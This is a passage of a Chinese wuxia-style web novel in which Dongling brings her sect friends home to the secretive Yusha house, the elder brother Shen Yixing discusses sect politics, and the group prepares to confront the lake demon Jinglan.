紧接着,只听“吱呀”一声,那扇紧闭着的大门被缓缓推开,一位头发微微发白的阿公从里面探出头来。 这位阿公看上去精神矍铄,满脸慈祥。 当他看清站在门外敲门之人是冬苓时,脸上立刻绽放出欣喜若狂的笑容,声音洪亮地说道:“小姐回来了?” 冬苓见到阿公也是满心欢喜,压低声音轻声问道:“阿公,哥哥们都在吗?” 卜南自然知道冬苓问这话的意思,她是怕突然带人回来,而被几位哥哥责骂。 “目前只有小五在家。” 说罢,他的目光好奇地落在了冬苓身后的那几个人身上,又继续开口问道:“这几位客人是?” 冬苓闻言,松了口气,放心地说道:“阿公放心,他们是我朋友,绝对信得过。” “好,既是朋友,那便请进。” 这章没有结束,请点击下一页继续阅读!话落,卜南侧身让开身子,并做出了一个标准的请进姿势。 待江洵几人进入府内,他谨慎地张望了眼四周,确认没有异样后,才关上了院门。 “阿公,厨房还有饭菜吗?”冬苓侧头问道。 “自是有的,一会儿让人给您端过去。” “好嘞!” 冬苓又吩咐了几句,让他帮忙多收拾一间空房出来,让江洵三人住。 至于邱漓嘛,今晚可以同她睡一屋。 卜南一一应下后,就先去了厨房。 当几人闲庭信步地路过竹亭之际,瞧见了坐在石桌前的全神贯注研究棋局的白衣公子。 那人不是谢淮之又是谁。 正当冬苓尚未来得及上前打招呼时,邱漓就率先开口道:“恩公??” “哈???”冬苓有些不解的看向她。 什么恩公??? 邱漓高兴地拽着冬苓的胳膊,开口解释道:“我之前迷路的时候,就是那位公子给了我吃食,派人将我送到中律司,还给了我银子。” “当时若不是他,我怕是早就死了,而深塘坞一案也不会被世人知道了。” 与此同时,沉浸在棋局中的谢淮之听到了这边的谈话声,缓缓回过头来,视线恰好与冬苓交汇在一处。 刹那间,他脸上流露出一丝难以掩饰的震惊神色。 他倒并非是震惊冬苓带朋友回家,而是诧异她今天居然真的回家了。 “你你你!!!”谢淮之指着冬苓,结结巴巴地说道。 “我我我我怎样?”见谢淮之如此反应,冬苓反倒觉得有些莫名其妙,连忙追问道。 谢淮之定了定神,赶紧快步走到冬苓跟前,询问道:“你……你怎得回来了?” 她刚打算开口回答的时候,谢淮之又继续说道:“不会是任务没完成,索性因着顺路就回来住一晚吧?” 冬苓继而瞪大了双眼,不解地问道:“你怎么知道?” “阿愿同我说的,还真让那丫头猜对了。”谢淮之嘟囔着。 方才用饭之时,池愿说冬苓今晚会带着朋友一起回来,他那时候还不信。 这么些年来,莫说是冬苓带朋友回家,就是他们几个大老爷们也没带兄弟回来住过。 冬苓闻言,皱了下眉,原来并不是巧合。 她之所以会醒来,不是因为自己主动发现了幻境,而是幻境中的池愿走到她跟前儿,对她说该回去了。 在她还没听明白这话是什么意思的时候,那丫头就伸手把她推进了池中。 而她再醒来的时候,就是躺在镜湖的船上了。 虽然觉得此事蹊跷,但她并未多质疑什么。 眼下看来,池愿或许,并没有那么简单。 不对,那丫头一直都不简单。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第158章 爱屋及乌 “阿愿那丫头呢?”冬苓疑惑地问道。 “大哥带她去买糕点了。” 谢淮之说着,下意识地看了一眼站在冬苓身旁的几人。 当他的目光落到邱漓身上时,不禁微微一愣。 这个姑娘看起来似乎有些面熟,好像在哪里曾经见过。 “哈????阿公不是说只有你在家吗??!”冬苓突然拔高音量说道。 被她这么一喊,谢淮之才回过神来,忙不迭地应道:“眼下是只有我在家啊。” 卜离那话回的确实没有问题,大哥现在确实也不在家。 不过这姑娘到底在哪儿见过? 在他思考之际,邱漓上前一步,歪着头轻声问道:“恩公可是记起我来了?” “恩公???” “嗯!恩公!我是当年从深塘坞逃出来,要往中律司报案的那个小孩儿。当时不幸迷了路,您还给了我银子和吃的……” 邱漓尽量表达清楚,想让谢淮之也能早些记起她是谁。 “是有些印象,可那孩子不是……” 不是才七八岁么,这几年过去,顶天了也就十二三岁,可眼前这姑娘可不止这个年龄。 “五哥,还记得我之前跟你们提过鸣蜩山遇到的那位姑娘吗?就是她,邱漓。”冬苓出言解释道。 谢淮之这才茅塞顿开的点了点头,表示自己清楚了。 如此一来,便也说的通了。 “恩公可是想起来了?”邱漓小心翼翼的问着,生怕对方将她忘了。 听她这一口一个恩公的叫着,谢淮之听的有些不好意思,毕竟他当时也只是随手一帮,并未想到日后还会再相见。 “可莫要再喊我恩公了,你跟苓儿既情同姐妹,便和她一样,喊我五哥就好。” 谢淮之此刻感到十分尴尬,他下意识地搓动着自己的手背,因为他着实不会应付这样的场合。 而一旁的冬苓还在回想方才那句话,大哥曾明确地说过不让他们带外人回来。 虽然江洵对她来说不算外人,但对于玉沙来说,却算得上是外人。 她本以为大哥近日并不在玉沙,连进门之前都特意问了一句…… 阿公害我!!! 天都要塌了! 谢淮之察觉到冬苓紧张地表情,微微一笑,轻声安慰道:“别担心,大哥不会凶你的。” 这句安慰聊胜于无,冬苓一脸委屈巴巴地嘟囔着:“我倒是宁愿他凶我呢......” 大哥向来不是喜欢动怒之人,就连分派任务时,也都是摊开了说,商量着来。 纵使是没完成任务,亦或是做错了事儿,他也不会指责你,更不会挑你的不是。 可他会冷着脸坐在你面前,让你自己去反思因何失误,又错在了何处,只有一五一十的都分析清楚,这事儿它才算翻篇儿。 相比之下,她更希望大哥能直接发脾气,左右不过是一顿数落,他凶完了,那这事儿也就过去了。 谢淮之温柔地伸出手,轻轻地抚摸着冬苓的头发,再次宽慰道:“别怕,若是他的话,大哥总不会怪你的。” 说话的同时,将目光悄然转向了江洵,眼神中带着一抹意味深长的笑意。 “洵哥?为啥?”冬苓不解地看了看江洵,蹙起眉头问道。 “因为……爱屋及乌啊。” 在冬苓还想再说些什么的时候,谢淮之继续说道:“好啦,事已至此,先去用饭吧。” 就算是有天大的事儿,那也得等人吃饱饭以后再说,总不能让人饿着肚子扛事儿吧。 再说了,这天也不会塌。 在几人移步去偏厅用饭的路上,秦在锦压低嗓音,问向身旁的江洵:“你跟苓儿的大哥认识?” 江洵大抵已经猜到是谁了。 只是,在没有真正见到那人之前,他不能贸然声称自己认识。 所以,摇了摇头,表示自己并不清楚。 几人入座后,秦在锦看着那一桌子的饭菜不自觉的吞咽了下口水。 这哪里是剩菜剩饭啊,这分明是豪华的家宴啊! 这一天到晚的,总算是吃到了一顿像样的饭菜,眼下几人谁都没有客气,也没有半分拘谨,真拿这儿当自己家一样,十分放得开。 江洵正低着头挑鱼刺的时候,突然感觉到有人正在轻轻拉扯着自己的衣角。 他不由得停下手中的筷子,垂眸望去,这小孩儿……不就是之前在弟子大会上,日日跟在沈亦行身侧的那位么。 他刚疑惑这姑娘走路怎么没声音的时候,就发现她是赤着脚走进来的。 还有,她无论是身高还是容貌上,同几年前比起来,都没有什么明显的变化,依旧是最初见她的那副样子。 仿佛时间在她身上静止了。 池愿看江洵的表情就知道,他已然认出了她是谁。 只见她缓缓抬起手,将手中捧着的桂花糕举起来,慢慢伸到江洵面前。 “给我的?”江洵压低声音,轻声问道。 他的目光落在池愿那张白皙的小脸上,带着几分好奇和探究。 池愿听了这话,并没有开口回答,只是微微颔首,表示肯定。 本小章还未完,请点击下一页继续阅读后面精彩内容!同时,她那双小手向前又送了送,似乎怕江洵不肯接。 江洵见状微微一笑,礼貌地道了声谢后,便伸出修长的手指从池愿手中轻轻拿走了一块桂花糕。 接过糕点的瞬间,不知为何,心中突然涌起一股异样的感觉。 他自是知晓池愿与江挽之间有着非同寻常的关系,也许正是因着谢淮之方才说的那句“爱屋及乌”,此刻再看这小姑娘时,只觉得格外亲切,越看越顺眼。 “脚凉不凉?”江洵关切地问道。 池愿嘴里正嚼着桂花糕,听到江洵的问话后,她先是愣了一下,随即摇了摇头作为回应。 江洵见此情形,不禁笑了笑,接着又追问道:“不喜欢穿鞋?” 这次,池愿倒是毫不犹豫地点了点头, 俩人有一搭没一搭的聊着,但自始至终都是江洵主动发问,而池愿回复的方式都是点头或摇头。 不远处吃饭的冬苓听到了动静,朝着这边张望过来。 当她瞧见池愿时,立刻放下手中的碗筷,快步走到近前,问道:“这不是咱俩今天头一回见面吧?” 看到池愿点头回应后,冬苓又追问道:“你今天是不是还把我推池子里去了?” 闻言,池愿愣了一下,开口说道:“救你。” 这话的意思是:我不是诚心要推你,而是想要救你出幻境。 “哎呦,我的好妹妹,今儿可是帮姐姐大忙了!”冬苓把她当个宝一样,搂在怀里又亲又抱的。 关于池愿,她有许多不明白的地方。 譬如她为何长不大,为何光着脚丫,为何不爱说话,又为何只粘着大哥。 而池愿,就像一只不愿给人添麻烦的小猫,自来到玉沙这几年间,她从未开口向他们要过任何东西。 素来都是他们给什么,她便接下什么。 她不是不谙世事,也不是听不懂人话,她有着自己的想法。 她只是想蜷在那儿,悄悄的活。 就在这时,坐在最外侧位置的秦在锦注意到站在门口处的沈亦行。 刹那间,他惊愕地大声喊起来:“沈哥!!!” 这一嗓子吼出来,冬苓立即抬头朝着那个方向望去。 当她看到沈亦行那面无表情的样子时,脸上瞬间浮现出一丝慌乱之色,紧接着又如做错了事的小孩儿迅速低下了头。 沈亦行冷冷地瞥了她一眼,问道:“任务难吗。” 冬苓稍微犹豫了一下,轻声答道:“有点……” “能解决吗?” “能的!” 谢淮之见到他走进房间之后,缓缓站起身,将主位让了出来。 而池愿见状,也紧跟着走了过去,站在了一旁。 “先去吃饭,有什么话吃完再说。”沈亦行对站在原地的冬苓说道。 “哦……” 可这顿饭,秦在锦是吃不下去了,他怕再吃下去就噎死了,他得消化消化。 他就坐在江洵对面,由于视线受阻,他方才并未看到池愿的样子,所以对于“大哥”此人的身份,压根就没往沈亦行身上猜。 况且,真正令他惊讶的不是在于冬苓的大哥是沈亦行,而是沈亦行并非他印象里的那般独来独往,无门无派。 他自认为跟沈亦行较为熟识,甚至觉得自己对他比较了解,可如今看来并非如此。 他当时站在玉沙阁门口的时候,便隐隐觉得这个地方或许并非是寻常人家的府邸。 而后遇到的这些人里,无论是开门的阿公,还是布菜的小厮,亦或是前院打扫的侍女,举手投足间皆能看出他们身手不凡。 与其说这儿是一个住所,倒不如说这更像是一个据点。 难怪冬苓鲜少同他们谈及家中之事,这哪怕多说一句都有可能涉及泄密。 “陈文谦那边什么动静?” 话落,沈亦行转身走到一旁,端起一盆早已准备好的温水,轻轻地放置在桌子旁边。 接着,从抽屉里取出一个药包,将其放入水中。那药包一接触到水,便散发出一股淡淡的草药香气。 做好这些后,沈亦行向池愿示意,温和地说道:“去坐好。” 听到这话,池愿顺从地点点头,走向水盆旁的椅子。 “陈文谦”这名字一出,各怀心事的江洵和秦在锦顿时抬头望向彼此,没记错的话,他们俩第一个任务的记录员就是陈文谦。 “下半年会调来南华。”谢淮之回道。 “太近了未必是好事,让阿四调他去东宁。” “好。” 突然,只听见“咚”的一声闷响传来,池愿手中拿着的苹果滚落地面,顺着光滑的地板一路滚到了远处。 沈亦行让池愿别动,他弯下腰去,将那苹果捡了起来。 等站起身来,用手帕将苹果擦拭干净,一边熟练地拿起小刀开始削皮,一边随口问道:“老三那边有什么消息?” 谢淮之见状,也拿了个苹果放在沈亦行跟前儿,让他顺手一起削了,而后往秦在锦的位置瞥了一眼。 秦念淑如今怎么说也是暮商宗的少夫人,当着她弟弟的面儿去讨论暮商宗的事,不知是否妥当。 本小章还未完,请点击下一页继续阅读后面精彩内容!“但说无妨。”沈亦行一脸淡然地说道,他知道谢淮之的顾虑。 秦念淑虽嫁过去已有三年,但平日里甚少留在暮商宗,也从不插手暮商宗的事务。 “萧夫人月初忽患疾病,时至今日病情仍未见有任何起色。然……阳春门迄今尚未派遣医师登门问诊。”谢淮之皱着眉头,缓缓将此事道出。 此事确实奇怪,怎么说两家也是姻亲,即便秦家不亲自问诊,也理应派阳春门的药师上门关切一番。 “这事儿你知道吗?”沈亦行问向低着头的发呆的秦在锦。 “我若说我不知道,沈哥信吗?” 秦在锦抬起头,盯着沈亦行的眼睛回应道。 且先不论他许久未回阳春门,就算偶尔回去一趟,也从未听到自家姐姐谈论起有关暮商宗的任何事宜。 其实他挺乐意看到秦念淑多数时间都留在阳春门,并凡事皆以阳春门为重的。 可是冷静下来细想,又觉得这般做法似乎不太妥当。 尤其是那萧旻,自阿姐成婚之日及归宁那天之后,便再也没有陪同阿姐回过娘家了。 这委实不像是夫妻之间该有的样子,未免……太过生分了些。 “我信。”沈亦行说道。 他了解秦在锦的为人,知道他不是那种会撒谎的性子,他说不知道那就是不知道。 “对了,二哥前两日来过一次。”谢淮之说道。 一直沉默不语的冬苓听到这话,突然开口道:“来???他人来了?” 谢淮之微微颔首,“嗯”了一声,继续说道:“他说只是路过,蹭顿饭就走。” “他难道不知道我这两日在镜湖做任务吗?”冬苓皱起眉头,有些不解地追问道。 “他知道啊。” “那他还敢来!” 他不怕暴露身份吗! 目前!这里!可是坐着三位献岁阁的弟子,若是几人撞见,那场面他想都不敢想。 谢淮之见她这反应,忍不住笑出了声,“因为二哥觉得……你不会胆大到把人带回家里来。” 沈亦行闻言,轻哼一声,把切好的苹果块放到盘子里,递给一旁的池愿。 做完这些之后,沈亦行转头看向冬苓,淡淡地说道:“既然回来了,就把相月山的消息也一并说了吧。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第159章 蠢蠢欲动 此时,邱漓低下头,凑近傅霖身旁,悄声问道:“霖哥,这些话是咱们能听的吗?这不会是我最后一顿饭吧?难怪吃这么好。” “听都听了,快多吃点。”傅霖宽慰道。 另一边,冬苓放下碗筷,正色道:“两党相争,形势不明。” 守旧党支持许青临的决定,一心拥护其女儿成为下一任相月山宗主;而革新党却认为应该让修为更高、性子更温顺的齐明来担此重任。 其实,无论从哪个方面去衡量,齐明都是最为合适的人选。 他们二人虽都是许青临亲自教导的弟子,但相比之下,齐明在为人处事方面与许青临更为相似一些。 稍作停顿后,冬苓又补充说道:“如果局面一直僵持不下的话,相月山大抵会效仿献岁阁,选出三个能力相当的弟子一同管理宗门事务。” “献岁阁当初可不是因为僵持不下,才选出三个小阁主的。”沈亦行不紧不慢道。 “那是因为什么?” “因为方震懒。” “哈???” 饶是江洵和傅霖听到这个答案也一副不可置信的模样,谁懒??? 方震懒??? 他们那勤勉奋进的老阁主??? 不过这事儿也不能细想,毕竟那人一年中有九个月都在闭关。 谁也不清楚他是真的在修炼,还是在借此来休息。 既提到了献岁阁,沈亦行便将目光投向了江洵等人,笑着问道:“贵阁近日可有发生什么事?” 听闻此言,一旁的邱漓顿时慌了神儿。 由于刚刚吞咽得过于急促,险些被食物给噎住。 她手忙脚乱地端起一杯水猛灌下去,结果却因为喝水过猛而差点儿被呛到。 短短片刻之间,又是捶打胸口,又是剧烈地咳嗽起来的,好不狼狈。 但是,他问这话是几个意思? 他问谁呢? 献岁阁的事儿岂是能同外人道来的? 江洵微微抬眸,与沈亦行的视线交汇在一起,不紧不慢地回应道:“有啊。” “哦?说来听听。”沈亦行做出一副洗耳恭听的模样。 只听江洵慢条斯理地说道:“一阁及三阁的亲传弟子,皆外出执行镜湖任务。” 沈亦行听他这么一番回答,略显无奈地笑了,“这任务是江挽让你去做的吧。” “嗯。”江洵边回应,边伸手去夹那盘鱼肉。 傅霖见状,伸手调整了盘子的位置,让那盘鱼离江洵更近一些。 “镜湖......”沈亦行说到此处稍作停顿,待眼底的笑意淡去,冷冷说道:“势在必得。” “为何?”江洵只顾着挑鱼刺,头也不回地问道。 沈亦行听他这么问,便知道他们今日的任务进度了,“看来你们还没碰到镜婪,待明日遇见了便就知道了。” “镜婪?那湖妖的名字?” “嗯。镜湖的镜,贪婪的婪。”沈亦行解释道。 一阵闲谈后,几人也吃的差不多了。 谢淮之派人收拾几间屋子出来,给江洵等人住,但被冬苓拒绝了,说是腾出一间就够了,毕竟邱漓可以同她睡一张床。 “那怎么能行?这三位公子难不成也要挤在一张床上?”谢淮之说道。 “有什么不行?要不收拾两间好了。”冬苓说道。 玉沙阁人数不多,外出的弟子也鲜少回来住,但他们的房间会一直留在那里,三天两头派人去打扫一下。 虽然谢淮之嘴上说要多收拾几间,但实际上无人居住的空房并不多,除非占用那些外出弟子的房间。 不过冬苓认为不妥当,一是不想占用他人的屋子,二是傅霖他们也不愿意睡在别人的床上。 这儿跟客栈不同,客栈日日有人打扫,且也不是私人地界儿。 “行吧。”谢淮之微微颔首,同意了冬苓的提议。 再看池愿,沈亦行那边刚给她把脚上的水渍擦干,她这边就想起身跳到地上去,被沈亦行眼疾手快地提溜起来了。 “我有没有说过,泡过脚便不能再沾地了。” “说过。”池愿嘟囔着回道。 “素商。”沈亦行对着门外喊道。 不多时,一个身着橘色衣裙的侍女匆匆忙忙地走了进来。 这侍女生得眉清目秀,举止端庄大方。 她快步上前,从沈亦行手中接过池愿,轻柔地将她抱在了怀中,而后转身向外走去。 只是在经过江洵身边之时,池愿伸手拽住了江洵的衣袖,说道:“再见。” 江洵听到这话,颇有些意外,这丫头居然肯开口跟他讲话了。 随即,回过神儿来,笑着朝她摆摆手,柔声道:“再见,小阿愿。” 几名小厮进来清理饭桌的时候,几人才一同走了出去。 谢淮之率先迈步在前,引着几人前往居住之所。而邱漓则牵着冬苓的手,向着另一个院子缓缓行去。 走在最后的沈亦行,不知何时从怀中掏出了一个精致的长方形锦盒。这锦盒以华丽的绸缎包裹着,盒身绣有精美的花纹图案。 本小章还未完,请点击下一页继续阅读后面精彩内容!“给你师父的,代我转交一下。” 沈亦行对江洵说道,同时将手中的锦盒递到了他面前。 江洵点点头,应道:“好。”然后伸手接过。 沈亦行见状,笑道:“你就不问问里面装着什么?” 听到这话,江洵缓缓偏过头,目光落在沈亦行身上。 只见他那双明亮的眼眸里,没有一丝猜忌之色,有的只是纯澈的信任。 “你不会害她,我便不会多问。” 沈亦行微微一怔,显然没料到对方会给出这样的答案。 不过很快,他脸上就浮现出一抹满意的笑容,并轻轻挑了挑眉。 “世人不知玉沙,但江湖之上却遍布着玉沙的眼线。倘若以后遇到什么棘手之事,尽可来玉沙找我。”沈亦行好心提醒道。 江洵不仅是江挽的徒弟,还是冬苓亲自带回家的朋友,于情于理,自己都应该多加照拂才是。 “妥。”其态度真诚,毫无半点作假之意。 说话间,几人已来到厢房门前。 谢淮之开口说道:“这间房的床铺相对较窄些,睡一个人倒是足够宽敞;隔壁那间房的床铺则要宽阔许多,足以容纳两人就寝。具体如何分配,你们三人自行商议,我们就不再过多打扰了。” 言罢,他与沈亦行一同转身离去。 留下这三人面面相觑,而秦在锦十分识趣儿的进了那间床宅的屋子。 “请吧。”傅霖推开门,朝着身后的江洵做了一个邀请的手势。 江洵倒也没同他客气,径直地走了进去。 虽说这厢房是仓促之间收拾出来的,但却能看出收拾之人下了心思。 只见那木桌上摆放着新鲜的瓜果和糕点,而放在一旁的茶壶,里面的茶水还冒着丝丝热气,显然是刚刚沏好不久。 再看那张床铺,上面的被褥及床头摆放的枕头,看起来也是全新的,没有一丝使用过的痕迹。 如此周到的安排,着实不失待客之道。 “你猜,他们玉沙潜藏在献岁的卧底会是谁?”傅霖坐在凳子上,问道。 “既是我们三人都见过的,那想来应当不是普通弟子。” 说话间,江洵抬起右手,从桌上拿起两只杯盏,动作娴熟地倒了两杯茶水。 随后,他将其中一杯缓缓地推向傅霖所在的方向。 傅霖见状,伸手接过茶杯,轻抿一口热茶后接着说道:“冬苓之前可曾提及过她二哥此人?” 江洵蹙起眉头,回想了一番,最初认识她的时候,她曾提起一两句,“她二哥……比较随意,或者说是没个正形。” 听到后面那一句,二人默契地对视了一眼,脑海中想到的只有一人——温如玉。 不过这个看似合理的猜想很快被傅霖否定了,“我师父入献岁之时,江湖上还未曾听闻沈亦行的名字,故而此人应当不是他。” 一旁的江洵听后,略作思索,随即开口分析道:“总之那人不会是我们三阁的,一阁或主阁的可能性更大一些,不过主阁的人我不太熟,哪怕是撞见了,也不会引起我的注意。” 傅霖微微颔首,表示认同他的看法,“可若是一阁......” “许廷宽?” “你师弟呢?” 俩人几乎同一时间脱口而出。 随后,傅霖补充道:“弟子大会期间,我曾见过他与沈亦行走在一处,当时还有些疑惑,不知他们二人是何时相识的,如今想来,倒也可能是他。” “可他为何在比试中偷袭?总不能是玉沙下的命令吧。” 江洵有些怀疑,继续说道:“况且,我觉得那人并没有表面上看起来那般随意。” “不想了。”傅霖烦躁的将杯中的茶水一饮而尽,站起身来就往床边走去。 随后,利索地解开外衫的衣带,将外衣褪下扔在了一旁的椅子上。 正当他准备脱去里衣时,身后传来江洵疑惑的声音:“你这是作甚?” 虽是睡一张床,但他俩似乎还没有好到可以“坦诚相见”的地步吧。 听到这声询问,傅霖手上的动作顿了顿,有些抱怨道:“你倒是清爽了,我里衣还湿着呢。” 之前在船上的时候,他只顾着给江洵把头发和衣服烘干了,自己倒是一直忍到现在。 “是么?”江洵轻声道。 傅霖刚想回“是”的时候,背部传来一阵异样的触感。 那感觉轻柔而缓慢,从他的肩胛骨一路向下,缓缓滑过背脊,最终停留在腰窝处。 “你这又是作甚呢?”傅霖反手一把抓住那只正在作祟的手,并用力一拽。 这突如其来的一遭,导致江洵原本整齐的衣领微微松开,露出喉结下那颗蠢蠢欲动的红痣。 看到这一幕,傅霖不禁呼吸一滞,眼神不由自主地定在那颗红痣上。 “自然是摸摸湿不湿啊。”说话间,脸上还带着一抹笑意,看上去是那般的理所当然。 “幻境里……可曾见到我?” 傅霖问这话之时,声音略微沙哑。 情绪在喉咙处压抑,欲望却在双眸中绽放。 本小章还未完,请点击下一页继续阅读后面精彩内容!那修长的手不由自主地伸了上去,又轻轻落在那人脖子上。 他终于摸到了那颗令他日思夜想,却又挥之不去的红痣。 刹那间,一股温热的感觉从指尖传来,伴随着那人此起彼伏的呼吸声。 江洵并未出声,只是直勾勾地凝视着傅霖。 原来,他也会用这般毫不掩饰的目光看着他。 “个没良心的。”傅霖暗骂一句。 在他看来,不回答就代表不曾见过他,不曾见过他就意味着心里没他,心里没他就象征着努力白搭。 “这么说,你幻境里有我?”江洵眼含笑意地问道。 傅霖用拇指有一下没一下地摩擦着那颗红痣,轻声道:“有你,你喊我师兄。” “师兄”二字,仿佛是被他们关了禁闭的秘密,私下相处时,谁也不会再主动提及。 果不其然,听到这话,江洵眼底的笑意逐渐收敛,而傅霖也随之松开正握着江洵脖颈的手指。 傅霖站直了身子,又背过身去,开始更换衣物。 就在这时,一个熟悉的声音传来——“师兄。” 傅霖微微一怔,思绪有那么一瞬间的凝滞。 待他回过神时,便又听到江洵那不紧不慢的询问:“他可是这么喊的?” 幻境之中的江洵并非真正的江洵本人,因此江洵用"他"来指代。 意识到自己被戏弄了一番,傅霖不禁冷哼一声,心中憋着一股闷气,愣是不肯回过头去。 而江洵则静静地凝视着眼前这个负气的身影,嘴角不自觉地上扬,露出一抹淡淡的笑容。 罢了,逗也逗过了,该忙正事儿了。 只见江洵慢悠悠地从床上站起身来,整理了一下略显凌乱的衣袖和领口,随后迈着步子朝着门口走去。 在即将踏出房门之际,傅霖略带疑惑的问道:“去哪儿?” 江洵停下脚步,回过头来解释道:“我去看看锦哥儿,总感觉他情绪有些不对劲。你先休息,不用等我。” 如果是往常,秦在锦在选择房间的时候会先犹豫一会儿,而后再唠唠叨叨地说上几句废话。 可今日却有些果断,甚至在回来的途中都鲜少言语。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第160章 长命百岁 夜色已深,万籁俱寂。 江洵轻手轻脚走到秦在锦房前,那人屋内一片漆黑,不见一丝光亮透出。 莫不是睡了? 心中这般想着,脚下便不由自主地停住了脚步,犹豫再三之后,最终还是轻轻敲响了房门。 “谁啊?”屋里传出秦在锦的声音。 “你洵哥。”江洵应道。 话音刚落,便听到门里传来一阵轻微的笑声,紧接着便是细碎的脚步声在屋内响起。 秦在锦先是点燃了房间里的蜡烛,然后才转过身去给江洵开门。 “这么晚了,洵哥有何指教?” “没有指教,单纯来哄个人。” 江洵的目光落在秦在锦微红的眼尾处,大抵是哭过后用力擦拭导致的。 秦在锦听他这么说,便也不再掩饰了。 他了解江洵的性子,虽然心细,但对旁人的事素来漠不关心。 对于不熟的人,纵使是在他眼前儿哭的肝肠寸断,他也不会主动询问对方因何哭泣。 可若是在意之人,哪怕只是皱个眉头,他都会费尽心思地去猜测背后的缘由。 “我在幻境中......看到阿娘了。”秦在锦垂着头,缓缓说道。 “嗯。”江洵轻声应着,示意他继续说下去。 那人沉默了一会儿,再度启齿之时,声音已然带着些许难以抑制的哽咽:“不是画上的,也不是梦里的,而是我心底的。” 是被他小心翼翼藏在心底的苏晚晴,是阳光明媚的苏晚晴,也是没有病痛的苏晚晴。 那人是如此年轻鲜活,笑意盈盈地同他打招呼,一遍又一遍亲切地唤着他的名字。 恍惚之间,似乎,她从未离去。 “如果不是我......如果不是怀我的时候落下了病根,她本不会死。” 泪水像是断了线的珠子,一滴又一滴且不受控制地坠落在手背上。 “倘若我不曾来到这世间,阿娘便也不会撒手人寰。”他痛苦地呢喃道。 他从未有一日原谅过自己,哪怕爹爹和阿姐从未因此怪过他。 江洵缓缓伸出手,落在秦在锦微微颤抖的背上,轻轻地拍打着。 他没办法给出有效的安慰,他连自己阿娘是谁都不知道。 可他还是想用自己的方式,试图让秦在锦能好受一些,起码让他知道,他在这儿呢。 “其实,她出现在我眼前的那一刻,我便知道自己入了幻境。尽管如此,我仍贪心的想要沉睡不醒。” “阿娘说,她从不后悔生下我,所以也希望我不要后悔来到这世上。” “可是洵哥......她明明救了无数人的生命,为何到头来却无法救自己?”说到这里,秦在锦的声音愈发低沉。 “她不是被奉为神医吗?不是人人都夸她是好人吗?” “既是好人,为何没有长命百岁?没有安享晚年?” 江洵看着泣不成声的秦在锦,语调平静地说道:“所以我们锦哥要长命百岁啊!不光要长命百岁,还要儿孙满堂!不要让伯母留下遗憾,她总是盼着你好的。” 秦在锦一边点头一边应着,他又何尝不知错不在他,可他总要找个人来宣泄心中的孤单和不满。 旁人何其无辜,索性讨厌自己就好。 江洵微微歪了一下头,好奇地问道:“伯母可还说什么了?” 他试图让秦在锦主动地多说一些。 有些事情,说出来比憋在心里要好受的多。 就算是心里压着一块儿沉重的石头,它也总有被人狠狠踹飞的那一天。 秦在锦吸了下鼻子,哑着嗓子说道:“她叮嘱我要坚强一些,要多让着阿姐。” 江洵闻言,笑出了声,打趣道:“怎么不是阿姐多让着你些。” “因为阿姐是女子,而这世间,对女子素来多不公。阿姐卯足了劲儿才能站在众人面前,而我什么都不用做,便可继承门主之位。” 秦在锦不禁深深地叹息了一声,流露出一种既无可奈何又无能为力的神情。 以相月山来说,倘若许歆是男儿身,纵使他修为不如齐明,也不会太多人反对她继承宗主之位,左右还有旁的师兄弟能在一旁扶持。 可她是女子,光这一点,就能被长老前辈及阁中子弟拿来说事儿。 也正因如此,萧旻那时没有娶花时雨,最主要的原因是她身份不对。 待秦在锦的心情逐渐平复以后,江洵才站起身来,轻声道:“洗把脸去睡吧,明天还得捉妖呢。” “嗯。”秦在锦应了一声。 江洵回到房间的时候,傅霖已经躺下了,那人侧着身子睡在床边儿,给江洵留了很大的位置。 这边刚躺下没多久,耳畔传来傅霖不轻不重的声音。 “明日若入了幻境,不要贪恋,要记得我还在外面。” 江洵知道傅霖这是在提醒他呢,刚想点头又想到那人背对着自己看不见,只好“嗯”了一声以作回应。 翌日,几人愣是睡到日上三竿了才出门。 临走之前,瞧见了站在桦树下发着呆的池愿。 这章没有结束,请点击下一页继续阅读!阳光穿过繁茂的枝叶,如金色的丝线般倾洒而下,恰好将池愿笼罩其中。 她肤色本就比常人要白上许多,在光芒的映衬下,仿佛周身都散发着一层淡淡的光晕。 “大哥呢?”冬苓轻声询问道。 听到声响,池愿缓缓转过头来,依旧是那副平静如水的面容,以及那双犹如被晨雾笼罩的眼眸。 不同的是,她脸颊一侧,挂着一道清晰可见的泪痕。 冬苓见状,心头一紧,连忙快步奔至池愿身前,蹲下身子,伸出手轻柔地替她擦拭泪水,“你……你怎么哭啦?是谁欺负你了吗?” 池愿微微摇了摇头,低声道:“不知。” 她自己也说不清楚为何会流泪。 只是每次站在这棵桦树下时,心中总会涌起一种莫名的空虚感,仿佛有什么东西遗落在了这里。 她觉得自己似乎应该做点什么,但脑海中是一片茫然,又不知自己能做些什么。 冬苓对她的身世一无所知,一时之间也不知该从何处安慰。 “那你可莫要再哭了,姐姐眼下要去镜湖做任务,大哥若是问起,阿愿就代我转达一下,好吗?”冬苓有商有量地说道。 池愿垂着眼眸思考了一瞬,而后对着冬苓点了点头。 从琼州乘船前往湖中心,大约需要花费半个时辰左右的时间。 考虑到昨天所遭遇的状况,众人在上船之后便将一小团棉花塞进耳中。 如此一来,虽然彼此之间的交流变得不太方便,但小心驶得万年船。 若那妖物真是通过听觉来影响人的神志,那么今天无论如何,也不能再次进入幻境之中了。 船只缓缓向前行驶,当船最终停泊在湖中心之时,周围却并没有出现任何异常的情况。 秦在锦有些疑惑地开口问道:“怎么办?” 因考虑到大家听不到,所以故意放慢了说话的动作,以便其他人能够通过观察他的口型明白他想要表达的意思。 “等。”江洵说道。 目前的状况对于他们而言相当不利,毕竟他们不知道镜婪会在什么时候突然出手。 几人手中都握着避水珠,为的就是能赶在落水前一刻,吃进去。 如果像昨天那样,在上船之前就早早地服下避水珠,那么留给他们应对镜婪的时间就远远不够。 五人相处的这几年时间里,早就研究出了一套他们自己能看懂的交流手势。 只见,傅霖抬手表示道:“再等一炷香,届时他跟江洵下水。” 而秦在锦三人则留在船上候着,一旦发现有不对劲儿的地方,也好能及时的下水救人。 镜婪能在镜湖盘踞将近二十个年头,那这湖底就绝非只有他一人在暗中作乱。 指不定还下面,还真藏着秦在锦害怕的水鬼。 微风轻柔地拂过如镜的水面,激起层层细微的涟漪,一圈圈地向外扩散开来。 此时,明明应当是该紧张的境况,可一旦有一人先笑出声来,其他四人也就憋不住了。 冬苓边笑边擦眼角的泪水,平日里甚少见她哭,可她笑的时候却经常落泪。 